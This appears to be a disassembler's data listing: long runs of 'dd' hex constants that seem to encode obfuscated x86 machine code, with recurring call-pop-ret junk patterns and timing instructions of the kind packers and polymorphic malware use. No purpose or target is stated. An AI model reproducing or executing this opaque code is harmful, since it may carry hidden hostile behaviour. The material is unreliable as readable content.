		dd 8B0F062Ah, 5, 0D1CB8166h, 0C28B501Dh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 89C2C355h, 2A1F359Dh
		dd 0DEF8106h, 6A4B9AE9h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0C99EC356h,	0A5BD83BDh
		dd 62A0Fh, 5D840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 962416C3h, 4CC1B6Ch
		dd 0FDBD8960h, 61062A05h, 0B806E780h, 0
		dd 38B0Fh, 0B70F0000h, 978D8DD8h, 0E9062A4Eh, 9, 0C5A8404Eh
		dd 93E45FB6h, 0E9E1FF47h, 7, 0A2180F2Ch, 83C77A8Ch, 2A06C5BDh
		dd 840F0006h, 422h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0EAC35040h, 0E84E2CE3h, 6653570Bh, 0A358EF81h
		dd 0BD835F5Fh, 62A06C5h, 6840F01h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0B12BC355h, 0B529B06Fh, 62A05C5h, 293DB589h,	0BD83062Ah
		dd 62A06C5h, 98860F03h,	0E9000003h, 13h, 0F586F9A4h, 1399396h
		dd 269065B1h, 0B9A0C34h, 8935E808h, 2A158595h, 81666006h
		dd 663A73CBh, 0EB81D98Ch, 19367AE7h, 0E904E180h, 0Eh, 0B3E6D27Fh
		dd 0DF96A9B5h, 7A5886D2h, 0C90ADF3Bh, 15B840Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8B11C3h, 62A2879h, 2939858Bh, 6A062Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8E15ECC3h
		dd 93CD5A4Eh, 33DEBF0Fh, 2A05F985h, 9D036006h, 62A2E09h
		dd 0B99D8B61h, 90062A10h, 14E856h, 84320000h, 0DE707999h
		dd 4ECDD7DCh, 98C45ADFh, 6AD4CE73h, 0BB660555h,	5F5B9A82h
		dd 66525050h, 0F6C3CBFh, 0DE8B6631h, 2390585Ah,	2A2B099Dh
		dd 3006A06h, 2A0CD59Dh,	32A86806h, 6E808FAh, 0CB000000h
		dd 0A59EF037h, 6E852D0h, 99000000h, 784EBC2Ch, 5F5F5BFEh
		dd 57243481h, 6A08E531h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0C1DCC351h,	0A5291B0h
		dd 53E0A1D8h, 35059D8Bh, 0FF5F062Ah, 2A2B8195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 7E096B06h, 57AF0611h, 8166CC98h, 8BB18EDFh, 2A00219Dh
		dd 0BE858906h, 0FC062DB9h, 199E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 5E02E430h
		dd 8BE843A8h, 2A1659BDh, 0B6858B06h, 0F062DB9h,	108Ah
		dd 0BE900h, 84DB0000h, 5E6BBD60h, 38C84157h, 1800C751h
		dd 8B000000h, 0BAB58BD9h, 66062DB9h, 60D2BABBh,	12598589h
		dd 9D8B062Ah, 62A0059h,	0DD858B61h, 6A062A04h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0ABD5C351h, 70706B1Fh, 6A0689h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 56D889C3h, 6820F91h
		dd 29000000h, 2A006185h, 39858B06h, 81062A29h, 4A3308D7h
		dd 4468939h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	1C35141h, 0E950833Ah, 9, 0ACD5B84h, 4A3C0989h
		dd 2434893Ah, 0B2D9D31h, 8589062Ah, 62A324Dh, 0B9B6B5FFh
		dd 8E9062Dh, 3B000000h,	0BFE2ACF6h, 68BA8D1Ah, 2C7E37ECh
		dd 0BF665250h, 310F2C10h, 11E9h, 76085900h, 861ED1BDh
		dd 25A6A51Ch, 0E91BF726h, 585ABF25h, 13243481h,	0BF2C6134h
		dd 59BBD2Dh, 0B9BE858Dh, 6690062Dh, 5250D88Bh, 52505250h
		dd 585A310Fh, 880F310Fh, 0
aZx_rj		db 'ZX_j',0
		dw 0E853h
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B5C35343h, 1F6381D9h
		dd 8A2CFB53h, 8195FFD9h, 8B062A2Bh, 2A33159Dh, 6A61F806h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 5691C352h, 0F9AAE3E8h, 6C585C7h, 3062Ah
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0CFDD88C3h, 0BEBD83E9h, 62DB9h, 29840Fh
		dd 0B70F0000h, 3CE9F8h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 66BE6AC3h, 503482BBh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 8501C08Bh, 62A14E9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0D4C35646h, 0DB80C464h, 9E96002h, 93000000h
		dd 41A2F767h, 559E36Dh,	6196DE80h, 6C5BD83h, 0F03062Ah
		dd 44685h, 0CB816600h, 0BD83D496h, 62DB9BEh, 34840F00h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 808EC356h, 0BB661BD3h,	0BD8B500Eh
		dd 62A33DDh, 0B9BEB5FFh, 6A062Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 4078B0C3h, 68A0Fh, 0DF810000h
		dd 50F531A7h, 164D95FFh, 8589062Ah, 62A2CC9h, 2795BD8Bh
		dd 0B58B062Ah, 62DB9B2h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0D0C35040h, 0EE961D2h, 85000000h, 633BAEA4h
		dd 0EC5E1E99h, 0DB0591EDh, 52F380DDh, 106C7h, 29510001h
		dd 2A0F95B5h, 51505B06h, 0F525060h, 8B585A31h, 895F61C3h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 89C9A0C3h, 2A2299BDh, 0F2816006h,	53E7FBC9h
		dd 5E9h, 895B9000h, 0FF6156D8h,	2DB9BEB5h, 0F1BD8B06h
		dd 0FF062A33h, 2A1A3995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B58BEF48h
		dd 62DB9B2h, 6E8h, 55B70F00h, 803A2940h, 8B5F2ADFh, 2A12E985h
		dd 0C4868906h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1F85C355h, 0D9F92145h
		dd 80246ABDh, 958B06C3h, 62A3395h, 0F0CB8166h, 4C2835Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h
		dd 0AB22069Ah, 61BD0BB2h, 89062A06h, 6A2050h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0ACF721C3h
		dd 68C0F6Dh, 29000000h,	2A1EA1B5h, 13CB8006h, 0CC2C858Dh
		dd 8E0F062Dh, 6, 24758589h, 8689062Ah, 0B8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 34C35141h, 0A9BD8BE7h
		dd 6A062A27h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8901BFAFh, 2A19FD9Dh, 0BEB5FF06h
		dd 89062DB9h, 2A08719Dh, 5D95FF06h, 6A062A13h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0CC57C353h, 32B8A180h, 914A1D17h, 5350C5B7h,	3FB35250h
		dd 0DE8B310Fh, 895F585Ah, 810F2434h, 6,	2DC19D0Bh, 0B5FF062Ah
		dd 62DB9BEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	69C35343h, 6038B969h, 12E9h, 8E03B500h,	5A1909CCh
		dd 0A76B043Eh, 1D037227h, 0F8F515Eh, 0FF61FAB7h, 2A260995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 2748DF0Ch, 0DD88ED4Dh, 8427F381h, 0BD83115Eh
		dd 62A1F61h, 76840F00h,	0F000000h, 684h, 0C1858900h, 96062A21h
		dd 8E8h, 71D07500h, 52EA32BDh, 5E835h, 0C6340000h, 0E9C49262h
		dd 12h,	0F005E4B9h, 0F768633Ch,	91846A1Dh, 46ADB3DEh, 5B5B555Ah
		dd 0F525050h, 289h, 0F5B5200h, 5820F31h, 0BB000000h, 3B47632Fh
		dd 8996585Ah, 2A1A119Dh, 13E906h, 0A68C0000h, 0BCB6107Eh
		dd 4BCB5538h, 489C3A60h, 13F98B7Ah, 0BEB5FFF4h,	8B062DB9h
		dd 2A2781BDh, 2995FF06h, 89062A1Ah, 2A0EF185h, 0BEB5FF06h
		dd 0F062DB9h, 95FFFFBFh, 62A0EC5h, 17299531h, 0BD83062Ah
		dd 62A1F7Dh, 52840F02h,	0E9000000h, 14h, 242BBAA3h, 59A29F55h
		dd 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh, 0F59858Bh, 0BD89062Ah
		dd 62A11D5h, 6A0000C6h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 57E1C355h, 0C80E45EAh
		dd 295D065Fh, 2A13599Dh, 3585C706h, 62A09h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 36ACC352h, 0E99CAD61h, 0FFFFF390h, 5FFD8A56h
		dd 8B66C18Bh, 11858DF8h, 6A062A19h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7D60C355h
		dd 722AE0F2h, 95BD8B48h, 50062A18h, 23860Fh, 8E80000h
		dd 0F4000000h, 2E3603DDh, 0E9EC34C6h, 10h, 35467DAh, 0A54E331Fh
		dd 43F45940h, 0F94E3F54h, 2404895Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 2BC35343h, 89F1B1B5h, 2A2C2D95h
		dd 6AF506h, 6800Fh, 85090000h, 62A21B1h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 8323ECC3h, 0C86A898Dh, 8B66AE9Bh, 0C0858DDFh, 8B062EB8h
		dd 2A06999Dh, 5C08306h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 98C35141h, 1E57B599h,	7FE56F4Ch, 3CDB8166h
		dd 8D9D8BACh, 90062A0Eh, 6E9h, 3840BE00h, 50805B19h, 8860Fh
		dd 52500000h, 5F57310Fh, 6690585Ah, 6ADF8Bh, 0AE8h, 3DC52900h
		dd 4133086Ch, 8984110Ch, 2A00158Dh, 6A5B06h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 42C35343h, 0FED9B9BFh
		dd 7595FF21h, 6A062A12h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 6983C350h, 8D8D68C3h
		dd 62DB966h, 25019D8Bh,	0D1FF062Ah, 0FCDF8166h,	835F5115h
		dd 2A3415BDh, 850F0106h, 0C0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0D2C35343h,	0D86DB4BCh, 894C92BAh
		dd 2A09A1B5h, 6A026A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 65ADC355h, 5FA83A84h
		dd 90E1A926h, 3A5FB3BFh, 52505033h, 0BF665250h,	310F725Ah
		dd 585ADF8Bh, 0BF66310Fh, 585A4E0Eh, 53006A90h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 54EFBE86h
		dd 2A6A8CBh, 0E7816698h, 95FF1D75h, 62A135Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 96C35242h, 666817D7h
		dd 0E83FCB81h, 0D8CE9h,	0E800h,	815D0000h
		dd 2EB8CAEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0F57A07Fh, 68Eh, 0A19D8B00h, 5B062A17h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 84C35747h
		dd 66CB1E7Ch, 858DFB8Bh, 62D96C4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6CC35242h, 5B180E15h, 0BD8B4E31h
		dd 62A14B9h, 6840Fh, 95890000h,	62A3449h, 66525090h, 0F0F85BFh
		dd 50585A31h, 52505250h, 0FF98B66h, 4A5ABF31h, 585A51CCh
		dd 0BF66310Fh, 585AD5F5h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 11C86009h
		dd 35FF64h, 0B7000000h,	0BE66603Eh, 0E5BA8B1Ch,	61731639h
		dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0BAE7C350h,	17F67467h
		dd 14C185FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0FC52E1C3h, 6AFF6A5Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 6072C353h, 12B7869Bh, 0B19D03D8h, 0FF062A0Fh, 2A174DB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3B9FE42Bh, 0FFE4D0C2h, 2A238D95h, 0D0E906h
		dd 0D7810000h, 1803F81Ah, 810F00B0h, 6,	33DDBD8Bh, 70E6062Ah
		dd 440EF781h, 71E44CEAh, 2D798D89h, 613C062Ah, 0A4830Fh
		dd 0B70F0000h, 0C8B60FFAh, 2C59BD8Bh, 0BD33062Ah, 62A3329h
		dd 6BAh, 35C38100h, 8B702C6Ah, 0F78166C1h, 0E8C10511h
		dd 0E2F76604h, 0FDB58953h, 5F062A2Ah, 8960C82Bh, 2A2D71B5h
		dd 61D58A06h, 40BFD18Bh, 0E94AA478h, 2,	858BD7B7h, 62A0C05h
		dd 83FEB70Fh, 0EB8007C0h, 0C0837Bh, 0FD03BFCh, 0D83h, 91850900h
		dd 0E9062A2Dh, 32h, 8D8BF98Bh, 62A1A31h, 1EE9BD8Bh, 0E183062Ah
		dd 1B840F01h, 83000000h, 2A1A31A5h, 800FFE06h, 3, 89DABF0Fh
		dd 2A0C0595h, 0E906h, 0B58D0000h, 62E1AA3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 13C35747h, 0BE9ACh
		dd 497A0000h, 3241E120h, 0C0A1B886h, 0FEBF0FD7h, 5B52006Ah
		dd 343995FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0E35EDFC3h, 2AF2CF00h, 830F19ECh
		dd 8, 0E99D0B53h, 5F062A0Ch, 80CB9h, 0A8C0F00h,	0E9000000h
		dd 5, 78CACCC1h, 8880FBAh, 0F000000h, 28Ch, 835F5700h
		dd 8166FCE1h, 0FCBD2ECFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 9CC35343h, 526BD180h,	0B8h, 0CB816600h
		dd 0BA179Fh, 66000000h,	33ADFE8Bh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 2CEF86C3h, 11E9603Ah, 0CB000000h,	9004DE0h
		dd 4E03F535h, 0D707FD75h, 242C214Eh, 12E9h, 4C30E800h
		dd 0F24B6D79h, 43B9E26Eh, 6FC0C9CBh, 6115E489h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B1C35040h, 8B66884Ch
		dd 0DE8FAh, 0E4DF0000h,	0E1163113h, 935437DFh, 8A59DEF7h
		dd 880D5BFDh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E991C357h,	0DED5A203h
		dd 1F4CAE2Fh, 3395958Bh, 0F1B7062Ah, 29FB8B60h,	2A29B195h
		dd 8D8B6106h, 62A0BF9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 83C35747h, 958955A2h,	62A2191h, 29BD9D8Bh
		dd 8B50062Ah, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 23C35242h
		dd 859C0DFFh, 9D8BC6A9h, 62A060Dh, 33F9BD8Bh, 0BD83062Ah
		dd 62A0FA5h, 55840F00h,	0F000000h, 0B8DBBFh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0CC86C357h, 0D5941881h, 0FE8B66D0h, 4E978D8Dh
		dd 6A062Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0E1FF89C3h, 8DC9BF66h, 6C5BD83h, 0F00062Ah
		dd 37F84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0F63DD78Ch, 3CDB9E6Eh, 9D238F3Ch
		dd 62A0E91h, 6C5BD83h, 0F01062Ah, 36284h, 0B6B35300h, 0C5BD835Bh
		dd 3062A06h, 31B860Fh, 8D0F0000h, 10h, 0BE9h, 81A2B700h
		dd 990B7116h, 1958BBB6h, 7E960h, 0D8EF0000h, 763BB3CCh
		dd 0D98C669Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0E9C35747h, 9185091Bh, 80062A26h, 6A04E1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0EAB034C3h, 2CC2CCBFh, 0FC90A61h, 0D484h, 0EE800h, 35CF0000h
		dd 556FBC5Bh, 0EC6D80A8h, 44828CEAh, 6810Fh, 0BD8B0000h
		dd 62A14F5h, 39858B5Fh,	8B062A29h, 2A0D8DBDh, 0F9853306h
		dd 80062A05h, 0E85023E7h, 8, 1250E9ACh,	0B60C2ABh, 2850Fh
		dd 0F98B0000h, 2404895Fh, 7E8h,	73C67700h, 0CAEF143Ch
		dd 5FFAB70Fh, 9D89006Ah, 62A0DFDh, 1F392468h, 56D4BF8Eh
		dd 4817B5Ch, 0FFCADB24h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0F4534AC7h, 90DF648Dh
		dd 95FFB3B3h, 62A2B81h,	89DE8B66h, 2DB9BE85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 3D291DC4h, 0EAFB4168h, 161E9h, 0B6858B00h, 6A062DB9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 2C77C350h, 1800C7A2h, 89000000h, 2A29318Dh
		dd 0BAB58B06h, 0BB062DB9h, 500FCA4Ah, 4DD858Bh,	6A062Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 6F3A25C3h, 22F5CAA3h, 0E9600689h, 7,	0A6AEE932h, 81058F38h
		dd 0D29F3DC0h, 858B6124h, 62A2939h, 7E8h, 4903BE00h, 0F675115Fh
		dd 96C3F781h, 895F02E9h, 85890446h, 62A29B1h, 0F88B6650h
		dd 0F243489h, 58Eh, 0DF816600h,	9D8B6E1Bh, 62A0085h, 0B9B6B5FFh
		dd 9509062Dh, 62A1A35h,	85A9E868h, 26BB660Fh, 243481BEh
		dd 0F9AAA17h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	0BEC35545h, 0C6BC640Ch,	9EDBF0BAh, 0BE858D3Eh
		dd 0E8062DB9h, 0Ch, 27C38EF0h, 33FDC9DEh, 0ACEA0CA4h, 322D8D09h
		dd 505B062Ah, 8E9h, 0AB9F5400h,	5FB91699h, 240489C1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 23C35545h, 8B608581h
		dd 2A22BD8Dh, 68E0F06h,	29000000h, 2A2BEDB5h, 95FF6106h
		dd 62A2B81h, 0F35BD03h,	8B61062Ah, 2A04B19Dh, 0C585C706h
		dd 3062A06h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1D9FC357h, 577F0442h
		dd 99BD8BE8h, 83062A10h, 2DB9BEBDh, 840F0006h, 29h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 12C35242h, 21E9F73Bh
		dd 89000000h, 2A22798Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0FEC35141h, 0C7707840h, 0C680FB67h, 31858960h
		dd 9062A34h, 2A15398Dh,	0CE96106h, 3D000000h, 0A954C516h
		dd 5908E257h, 83667C2Ch, 2A06C5BDh, 850F0306h, 45Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 78C35343h, 90EA084Dh
		dd 606208B5h, 2679B58Bh, 9D8B062Ah, 62A1929h, 0FA8B6661h
		dd 0B9BEBD83h, 0F00062Dh, 41D84h, 0D9BD2B00h, 0FF062A2Ah
		dd 2DB9BEB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0E76C0272h, 0E8D1D577h, 13h, 0AE9DD091h
		dd 89F9F152h, 0FAA4E1Eh, 0AA2D61B6h, 0F55199ECh, 4D95FF5Bh
		dd 0E9062A16h, 10h, 236C5E9Eh, 5A4ADC03h, 0B5A67541h, 51FFD74Eh
		dd 0B9B2B58Bh, 6A062Dh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BCD4AC3h, 2A053D9Dh, 106C706h
		dd 6A000100h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 434CC355h, 0E60D79ACh,	958531E4h
		dd 0BF062A0Dh, 38F997F1h, 0EE120ABFh, 9CBF504Fh, 892E43A8h
		dd 29602434h, 2A2E0995h, 0A1858B06h, 61062A0Dh,	0B9BEB5FFh
		dd 6A062Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F431C1C3h, 68D0FFBh, 23000000h, 2A09FD9Dh
		dd 0FFFE8A06h, 2A1A3995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D235ED2h
		dd 62A0B99h, 0B9B2B58Bh, 0BB66062Dh, 858B4E48h,	62A12E9h
		dd 3AF38166h, 0C4868983h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AE91C351h
		dd 74F3815Eh, 8B141A36h, 2A339595h, 99B58906h, 83062A08h
		dd 0BF0F04C2h, 205089FFh, 1485BD89h, 858D062Ah,	62DCC2Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B5C35343h
		dd 87F732D8h, 858981FFh, 62A1A19h, 28158529h, 8689062Ah
		dd 0B8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	24C35747h, 0E0366DD2h, 0E8273D0Eh, 6030BB66h, 34119589h
		dd 6A062Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 14h,	97C35545h, 0BD63D381h, 0B5FF582Fh, 62DB9BEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C5C35141h, 2392A377h
		dd 2A1811BDh, 5D95FF06h, 6A062A13h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 25AFC353h
		dd 318D3165h, 96062A28h, 8E960h, 4B0C0000h, 0EA454E13h
		dd 11E8742Bh, 61000000h, 5A6CE7CBh, 16014453h, 0C1A7F5F1h
		dd 36972EC9h, 0E950615Bh, 7, 0B83CF731h, 96EF1687h, 12A19D8Bh
		dd 0B5FF062Ah, 62DB9BEh, 14E9h,	60C9AB00h, 1F3D7688h, 5E176D8Dh
		dd 0E229582Bh, 8873D21Ah, 995FF93h, 6A062A26h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0A36DC356h, 68E0Fh, 0BD8B0000h, 62A1B5Dh, 1F61BD83h
		dd 0F00062Ah, 3B84h, 0F98B6600h, 8E0F5096h, 4, 5B5B5657h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 5246F5B6h, 2C1D19h, 9D8B98FEh, 62A33E1h
		dd 0B9BEB5FFh, 6A062Dh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 8A5211C3h, 7B0FA517h, 95FFABFAh
		dd 62A1A29h, 600163BFh,	0BEB5FF6Bh, 0FF062DB9h,	2A0EC595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 86DB78A1h, 168C0FF7h, 0E9000000h, 11h, 0FC88B654h
		dd 81CDB06Dh, 9EAA270Fh, 0BBA0417Fh, 7DBD8392h,	2062A1Fh
		dd 42840Fh, 830F0000h, 6, 2AFD8D89h, 858B062Ah,	62A0F59h
		dd 6A1BD29h, 0C6062Ah, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 662F44A1h, 8D89F98Bh
		dd 62A1641h, 93585C7h, 62Ah, 0BB660000h, 0EEE94634h, 6AFFFFF3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 90FFC351h, 0FCD36B0h, 0C18BDBB7h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 86C35545h, 33E905h
		dd 96450000h, 7C80h, 0Bh dup(0)
		dd 527E900h, 3FA90000h,	36CB831Dh, 1DE69E38h, 303BB55h
		dd 0E123DB75h, 531DF993h, 0A53F35CFh, 0C45E18EDh, 0E57FDB0Ch
		dd 19BD52Dh, 280D021Bh,	8F289E43h, 88562AFAh, 0C1FFF67Ah
		dd 0ED452F41h, 0BC35D17h, 378F79F7h, 5A1EE8CBh,	7D7FB6ABh
		dd 0D540226Fh, 7F82DAC4h, 43E505EFh, 0E8887A50h, 951964Eh
		dd 0FF5B8C5Ah, 2B45BD15h, 8019231Ah, 2E2535B2h,	7963F7F0h
		dd 0A892E421h, 0AA3D0B24h, 0A699B9B0h, 7D8617D0h, 99DF27F5h
		dd 540314AFh, 3D04E66Fh, 887FF154h, 343CC67Eh, 1B6FCB4Ah
		dd 385F2270h, 0E6DD7D6Ah, 0E3E7D3C6h, 0EDD2E7ABh, 67h
		dd 0A5CB3725h, 7CFF3CBBh, 0A7CF226Fh, 0E02C8B4h, 1CED2E7h
		dd 6000000h, 0F5A4CA37h, 7CE45146h, 70DB226Fh, 3AC71F79h
		dd 43114A34h, 30CBB5C3h, 6D0BFB39h, 0CEC16383h,	90063217h
		dd 816B0BFAh, 0E72701E6h, 97DF26F4h, 0CF9F62A0h, 66B79C35h
		dd 280D4D9Fh, 9171AFA6h, 0A993E322h, 0FF25BA3Ah, 4051D306h
		dd 37C3952Fh, 2BEBD3CDh, 0D842C140h, 7C85DDC7h,	707A08F2h
		dd 175DA77Dh, 333DC57Dh, 0A312F149h, 1B051644h,	0E69D90C0h
		dd 0D7996937h, 0D85D52EDh, 0DF226FAAh, 0AB54E1D6h, 6B226Fh
		dd 36A4F8EFh, 0ACD2E736h, 644E26DEh, 71C1D2C9h,	32000000h
		dd 0ECD6A264h, 37025A51h, 2AF8A7CDh, 40AF99D9h,	99C6CCFFh
		dd 8C3B4CD0h, 703B9E97h, 0BFB62122h, 74472C65h,	3265F39h
		dd 47BCFAF1h, 7F21412Bh, 694EB68Ch, 2FC9DA9Ch, 0FDE78D77h
		dd 2D1761A5h, 5E4812D5h, 8F79E106h, 0A8C1B444h,	0C8B4A7D7h
		dd 0D2E79412h, 3EDEh, 0CD371600h, 485919EAh, 0BCE1065Eh
		dd 331D2E4Ah, 8F6558E8h, 9365FF75h, 0BAA4CA37h,	6F7CFF3Bh
